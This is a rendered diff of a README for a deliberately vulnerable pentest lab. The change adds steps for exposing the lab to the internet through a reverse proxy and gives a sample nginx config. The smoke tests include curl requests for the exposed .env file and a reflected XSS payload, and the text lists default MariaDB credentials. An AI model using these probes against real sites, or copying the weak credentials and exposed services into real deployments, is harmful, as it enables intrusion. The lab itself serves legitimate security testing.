Add the hostname to your hosts file so the `insecure.newploit.com` SNI /
|
Add the hostname to your hosts file so the `insecure.newploit.com` SNI /
|
||||||
Host header works:
|
Host header works:
|
||||||
|
|
||||||
**Linux / macOS** → `/etc/hosts`
|
## Exposing it
|
||||||
|
|
||||||
|
The lab is designed to be run on a home server / LAN box behind a reverse
|
||||||
|
proxy (cloud VPS, Cloudflare Tunnel, ngrok, tailscale funnel, etc). The
|
||||||
|
public domain `insecure.newploit.com` then terminates on :80/:443 on the
|
||||||
|
VPS and forwards to the home container's `8080`/`8443`.
|
||||||
|
|
||||||
|
Container mapping:
|
||||||
|
|
||||||
|
| Host port (home) | Container | Use |
|
||||||
|
|------------------|-----------|-----------------------------------|
|
||||||
|
| 8080 | 80 | reverse-proxy HTTP → insecure.newploit.com |
|
||||||
|
| 8443 | 443 | reverse-proxy HTTPS → insecure.newploit.com |
|
||||||
|
| 3306 | 3306 | MariaDB (root:toor / dbuser:dbpass123) |
|
||||||
|
|
||||||
|
Sample nginx on the VPS:
|
||||||
|
|
||||||
|
```nginx
|
||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
listen [::]:80;
|
||||||
|
server_name insecure.newploit.com;
|
||||||
|
location / { proxy_pass http://<home-ip>:8080; proxy_set_header Host $host; }
|
||||||
|
}
|
||||||
|
server {
|
||||||
|
listen 443 ssl;
|
||||||
|
server_name insecure.newploit.com;
|
||||||
|
ssl_certificate /etc/letsencrypt/live/insecure.newploit.com/fullchain.pem;
|
||||||
|
ssl_certificate_key /etc/letsencrypt/live/insecure.newploit.com/privkey.pem;
|
||||||
|
location / { proxy_pass https://<home-ip>:8443; proxy_ssl_verify off; proxy_set_header Host $host; }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Or if you just want to hit it locally, add to `/etc/hosts`:
|
||||||
```
|
```
|
||||||
127.0.0.1 insecure.newploit.com
|
127.0.0.1 insecure.newploit.com
|
||||||
```
|
```
|
||||||
|
and use `http://insecure.newploit.com:8080/` directly.
|
||||||
|
|
||||||
**Windows** → `C:\Windows\System32\drivers\etc\hosts`
|
Smoke-test from anywhere (once reverse-proxy is live):
|
||||||
```
|
|
||||||
127.0.0.1 insecure.newploit.com
|
|
||||||
```
|
|
||||||
|
|
||||||
**Android (testing from PocketPentester on device)** — set your phone's
|
|
||||||
Wi-Fi DNS to the dev machine, or just use the host's LAN IP directly:
|
|
||||||
```
|
|
||||||
http://192.168.x.x:8080/ (or whatever your dev box IP is)
|
|
||||||
```
|
|
||||||
|
|
||||||
Smoke-test from the host:
|
|
||||||
```bash
|
```bash
|
||||||
curl http://insecure.newploit.com:8080/
|
curl https://insecure.newploit.com/
|
||||||
curl http://insecure.newploit.com:8080/.env
|
curl https://insecure.newploit.com/.env
|
||||||
curl "http://insecure.newploit.com:8080/search.php?q=<svg/onload=alert(1)>"
|
curl "https://insecure.newploit.com/search.php?q=<svg/onload=alert(1)>"
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Open ports
|
|
||||||
|
|
||||||
| Host port | Service | Notes |
|
|
||||||
|-----------|-------------------|--------------------------------------------|
|
|
||||||
| 8080 | Apache 2.4 + PHP | main web app (→ container 80) |
|
|
||||||
| 8443 | Apache TLS | snakeoil cert for ssl_scan (→ 443) |
|
|
||||||
| 3306 | MariaDB 10.11 | root:toor, also dbuser:dbpass123 |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Module → endpoint map
|
## Module → endpoint map
|
||||||
|
|
||||||
Everything below is already wired. Point the tool at `insecure.newploit.com`
|
Everything below is already wired. Point the tool at `insecure.newploit.com`
|
||||||
@@ -64,7 +77,7 @@ Everything below is already wired. Point the tool at `insecure.newploit.com`
|
|||||||
|
|
||||||
| Arsenal module | Where it hits |
|
| Arsenal module | Where it hits |
|
||||||
|------------------|------------------------------------------------------------------|
|
|------------------|------------------------------------------------------------------|
|
||||||
| `port_scan` | 3306 / 8080 / 8443 open (host-mapped ports) |
|
| `port_scan` | via reverse-proxy: 80/443 public · 3306 only on home LAN |
|
||||||
| `httpx` | Title `Newploit :: insecure test lab`, Server `Apache/2.4.57 …` |
|
| `httpx` | Title `Newploit :: insecure test lab`, Server `Apache/2.4.57 …` |
|
||||||
| `banner` | Apache + MySQL banners expose full version |
|
| `banner` | Apache + MySQL banners expose full version |
|
||||||
| `ssl_scan` | Self-signed CN=insecure.newploit.com on :443 |
|
| `ssl_scan` | Self-signed CN=insecure.newploit.com on :443 |
|
||||||
|
|||||||
Reference in New Issue
Block a user